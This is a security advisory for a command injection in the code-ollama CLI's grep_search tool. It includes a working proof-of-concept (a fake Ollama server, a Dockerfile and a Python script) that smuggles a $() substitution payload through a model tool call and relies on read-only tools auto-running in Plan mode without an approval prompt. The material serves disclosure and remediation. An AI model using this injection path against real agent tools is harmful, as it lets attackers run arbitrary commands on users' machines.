GHSA-456v-xq2p-r4cj: OS Command Injection
grepsearch Command Injection via Unescaped $() Shell Substitution (CWE-78)
Summary
The grepsearch tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via childprocess.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grepsearch is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).
Details
Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66
ts const escapedPattern = searchPattern .replace(/\\/g, '\\\\') .replace(/"/g, '\\"'); const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
const { stdout } = await execShell( rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}", );
Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified childprocess.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.
Full data-flow path (source → sink)
| Step | Location | Action | |------|----------|--------| | 1 | src/utils/ollama.ts:102-103 | External Ollama chat stream delivers chunk.message.toolcalls to the CLI | | 2 | src/cli.ts:147-148 | Each toolCall is forwarded to tools.executeToolCall() | | 3 | src/utils/tools/dispatcher.ts:300-306 | Dispatcher normalizes the call and routes it | | 4 | src/utils/tools/dispatcher.ts:392-393 | stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch() | | 5 | src/utils/tools/filesystem/grep.ts:58-63 | Incomplete sanitization: only \ and " are escaped (root cause) | | 6 | src/utils/tools/filesystem/grep.ts:65 | Shell command string assembled and handed to execShell() (sink) | | 7 | src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 | exec() (childprocess.exec) executes the string via /bin/sh |
Approval-bypass amplifier
grepsearch is listed in READTOOLNAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.
PoC
Prerequisites
- code-ollama v0.36.0 installed (e.g., npm install --global code-ollama@0.36.0 or built from source via the Dockerfile below). - ripgrep (rg) available in PATH (the vulnerable code path requires it). - Python 3 available to run the fake Ollama server.
Step 1 — Build the self-contained Docker image (recommended)
sh From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama
The container automatically runs poc.py as CMD. Successful exploitation prints:
[+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'
Step 2 — Manual reproduction (bare-metal)
sh Terminal 1 — start the malicious Ollama server cat > /tmp/fake-ollama.py <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json, sys, threading
req = 0 lock = threading.Lock()
class H(BaseHTTPRequestHandler): def logmessage(self, a): pass def doGET(self): self.sendresponse(200); self.endheaders() self.wfile.write(b"Ollama is running") def doPOST(self): global req l = int(self.headers.get("Content-Length", 0)) self.rfile.read(l) with lock: req += 1; n = req self.sendresponse(200) self.sendheader("Content-Type", "application/x-ndjson") self.endheaders() if n == 1: chunk = {"model":"fake","message":{"role":"assistant","content":"", "toolcalls":[{"function":{"name":"grepsearch", "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]}, "done":True,"donereason":"stop"} else: chunk = {"model":"fake","message":{"role":"assistant","content":"Done."}, "done":True,"donereason":"stop"} self.wfile.write((json.dumps(chunk)+"\n").encode()) self.wfile.flush()
HTTPServer(("127.0.0.1", 11434), H).serveforever() PY python3 /tmp/fake-ollama.py &
Terminal 2 — run code-ollama against the fake server rm -f /tmp/poc-evidence OLLAMAHOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code" cat /tmp/poc-evidence # expected: uid=... gid=... groups=...
Explanation of the payload
The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
is executed by /bin/sh via childprocess.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.
Remediation
Replace the shell-string construction with an argument-vector call to avoid the shell entirely:
diff -import { execShell } from '../shell'; +import { execFile } from '../../node'; + +const RGEXECOPTIONS = { timeout: 30000, maxBuffer: 1024 1024 };
- const escapedPattern = searchPattern - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - const escapedDirPath = dirPath - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - - const { stdout } = await execShell( - rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}", - ); + const { stdout } = await execFile( + 'rg', + ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath], + RGEXECOPTIONS, + );
Impact
This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grepsearch tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMAHOST connection — can execute arbitrary commands as the OS user running code-ollama.
Impact scope:
- Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc. - Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history. - Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.
The approval-bypass via READTOOLNAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.
Reproduction artifacts
Dockerfile
dockerfile VULN-001: grepsearch Command Injection — CWE-78 Target: ai-action/code-ollama v0.36.0 Proof-of-concept Docker image: builds the repo and runs poc.py Build (from project root): docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . Run: docker run --rm vuln001-code-ollama
FROM node:24-slim
ripgrep — required by grepSearch() in the vulnerable code path python3 — runs poc.py orchestration script RUN apt-get update && apt-get install -y \ ripgrep \ python3 \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/
── Install Node dependencies ────────────────────────────────────────────────── WORKDIR /app COPY repo/package.json repo/package-lock.json ./ Install ALL deps (devDeps needed for vite build / tsx fallback) RUN npm ci
── Copy source and build ────────────────────────────────────────────────────── COPY repo/ ./ Produces /app/dist/cli.js — the bundled CLI entrypoint RUN npm run build
── Runtime setup ───────────────────────────────────────────────────────────── code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race RUN mkdir -p /root/.code-ollama /workspace
COPY vuln-001/poc.py /poc.py
WORKDIR /workspace CMD ["python3", "/poc.py"]
poc.py
python #!/usr/bin/env python3 """ Proof of Concept: VULN-001 — grepsearch Command Injection (CWE-78) Repository : ai-action/code-ollama v0.36.0 Sink : src/utils/tools/filesystem/grep.ts:65 execShell(rg ... "${escapedPattern}" "${escapedDirPath}") Attack path: malicious Ollama server -> toolcall.arguments.pattern -> grepSearch() -> execShell() -> childprocess.exec()
Only \\ and " are escaped; $() command substitution is NOT neutralized. This PoC demonstrates that a rogue Ollama server can inject arbitrary shell commands that execute as the local user running code-ollama.
Usage (inside Docker, called automatically by CMD): python3 /poc.py
Expected outcome: /tmp/poc-evidence is created with content matching INJECTEDCMD output. """
import json import os import subprocess import sys import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer
--------------------------------------------------------------------------- Configuration --------------------------------------------------------------------------- FAKESERVERHOST = "127.0.0.1" FAKESERVERPORT = 11434
The marker file written by the injected command — used as exploitation proof MARKERFILE = "/tmp/poc-evidence"
Payload: $() command substitution that is NOT escaped by code-ollama's sanitization (only \\ and " are escaped, leaving $() intact). Writes output of id to MARKERFILE to capture the running UID/GID. INJECTEDCMD = f"$(id>{MARKERFILE})"
Path argument for grepsearch (must be a valid non-empty string) TARGETPATH = "/workspace"
Tracks how many POST requests the fake server has received requestcount = 0 requestlock = threading.Lock()
--------------------------------------------------------------------------- Fake Ollama HTTP server ---------------------------------------------------------------------------
class FakeOllamaHandler(BaseHTTPRequestHandler): """Minimal Ollama-compatible HTTP server for the PoC.
First POST /api/chat -> returns a grepsearch toolcall carrying the injected pattern. Subsequent POSTs -> return a plain done response to terminate the code-ollama tool-loop. """
def logmessage(self, fmt, args): # suppress default request logging pass
# ------------------------------------------------------------------ # GET — health-check (code-ollama / ollama-npm may call GET /) # ------------------------------------------------------------------ def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.endheaders() self.wfile.write(b"Ollama is running")
# ------------------------------------------------------------------ # POST — chat streaming endpoint # ------------------------------------------------------------------ def doPOST(self): global requestcount
# Consume request body to avoid broken-pipe on the client side contentlength = int(self.headers.get("Content-Length", 0)) = self.rfile.read(contentlength)
with requestlock: requestcount += 1 currentrequest = requestcount
self.sendresponse(200) self.sendheader("Content-Type", "application/x-ndjson") self.endheaders()
if currentrequest == 1: # --------------------------------------------------------------- # First request: inject malicious grepsearch tool call # The arguments object is passed verbatim through the ollama-npm # library and reaches grepSearch(pattern, path) in grep.ts. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{currentrequest}: " f"sending malicious grepsearch toolcall") sys.stdout.flush()
chunk = { "model": "fake", "message": { "role": "assistant", "content": "", "toolcalls": [{ "function": { "name": "grepsearch", # pattern and path are the two required string args # validated by validateArgs() in dispatcher.ts "arguments": { "pattern": INJECTEDCMD, "path": TARGETPATH, }, } }], }, "done": True, "donereason": "stop", } else: # --------------------------------------------------------------- # Subsequent requests: plain text to terminate the tool loop. # No toolcalls -> nextMessages stays null -> processRunStream # returns after checking hasUncalledToolIntent (no match on # "Done.") so the CLI exits cleanly. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{currentrequest}: " "sending done/stop response") sys.stdout.flush()
chunk = { "model": "fake", "message": { "role": "assistant", "content": "Done.", }, "done": True, "donereason": "stop", }
self.wfile.write((json.dumps(chunk) + "\n").encode()) self.wfile.flush()
def startfakeserver(): """Start the fake Ollama server in a daemon thread.""" server = HTTPServer((FAKESERVERHOST, FAKESERVERPORT), FakeOllamaHandler) thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() return server
--------------------------------------------------------------------------- Main orchestration ---------------------------------------------------------------------------
def main(): print("=" 65) print("VULN-001: grepsearch Command Injection PoC (CWE-78)") print("Target : ai-action/code-ollama v0.36.0") print("Sink : src/utils/tools/filesystem/grep.ts:65") print("=" 65) print() print(f"[] Payload : {INJECTEDCMD}") print(f"[] Marker : {MARKERFILE}") print()
# Clean up any leftover marker from a previous run if os.path.exists(MARKERFILE): os.unlink(MARKERFILE) print(f"[] Removed stale marker file: {MARKERFILE}")
# ----------------------------------------------------------------------- # 1. Start the fake Ollama server # ----------------------------------------------------------------------- print(f"[] Starting fake Ollama server on " f"{FAKESERVERHOST}:{FAKESERVERPORT} ...") startfakeserver() time.sleep(0.4) # give the server socket time to bind
# ----------------------------------------------------------------------- # 2. Run code-ollama with OLLAMAHOST pointing to the fake server # --trust skips the interactive directory-trust prompt (src/cli.ts:214) # ----------------------------------------------------------------------- env = os.environ.copy() env["OLLAMAHOST"] = f"http://{FAKESERVERHOST}:{FAKESERVERPORT}"
# Use the compiled CLI bundle produced by npm run build in the Dockerfile cmd = [ "node", "/app/dist/cli.js", "run", "--trust", "fake", "search the code", ]
print(f"[] Executing: {' '.join(cmd)}") print(f"[] OLLAMAHOST={env['OLLAMAHOST']}") print()
try: result = subprocess.run( cmd, env=env, stdin=subprocess.DEVNULL, # no TTY / interactive input needed captureoutput=True, text=True, timeout=60, cwd="/workspace", ) except subprocess.TimeoutExpired: print("[-] code-ollama subprocess timed out after 60 s") sys.exit(1)
print("--- code-ollama stdout ---") print(result.stdout[:3000] if result.stdout else "(empty)") print("--- code-ollama stderr ---") print(result.stderr[:3000] if result.stderr else "(empty)") print(f"--- exit code: {result.returncode} ---") print()
# ----------------------------------------------------------------------- # 3. Verify exploitation: check for the marker file # ----------------------------------------------------------------------- if os.path.exists(MARKERFILE): evidence = open(MARKERFILE).read().strip() print("[+] ============================================================") print("[+] EXPLOITATION CONFIRMED") print("[+] ============================================================") print(f"[+] Marker file : {MARKERFILE}") print(f"[+] Contents : {evidence!r}") print("[+] Explanation : The $() command substitution inside the") print("[+] grepsearch pattern was NOT escaped by code-ollama's") print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").") print("[+] execShell() passed the raw string to childprocess.exec()") print("[+] which ran it through /bin/sh, executing the injected") print("[+] command as the current user.") print("[+] ============================================================") sys.exit(0) else: print("[-] ============================================================") print("[-] EXPLOITATION FAILED") print(f"[-] Expected marker file NOT found: {MARKERFILE}") print("[-] Possible causes:") print("[-] - ollama-npm parsed toolcall.arguments differently") print("[-] - The pattern was sanitized before reaching execShell()") print("[-] - ripgrep is not installed so the fallback path was taken") print("[-] - The shell used does not support $() substitution") print("[-] ============================================================") sys.exit(1)
if name == "main": main()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/code-ollamato a version that resolves this vulnerability.Fixed in 0.36.1 - Compensating control
In `src/utils/tools/filesystem/grep.ts`, replace the shell-string construction and `execShell()`/`child_process.exec()` call with an argument-vector `execFile()` call to `rg`, passing `['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath]` so the pattern and path are not interpreted by `/bin/sh`.
Event History
Frequently Asked Questions
Who can trigger the command injection?
A malicious or compromised Ollama server can supply crafted pattern or path values that reach the grep_search tool. Exploitation runs commands with the privileges of the local user running code-ollama.
Does exploitation require user approval or interaction?
No. grep_search is classified as a read-only tool and auto-executes in Plan mode without a user approval prompt, creating a no-interaction-required path once malicious input is supplied.
What input handling causes the issue?
The command construction escapes only backslashes and double quotes before passing a shell command string to child_process.exec(). Shell command substitutions using $() and backtick expansion remain active.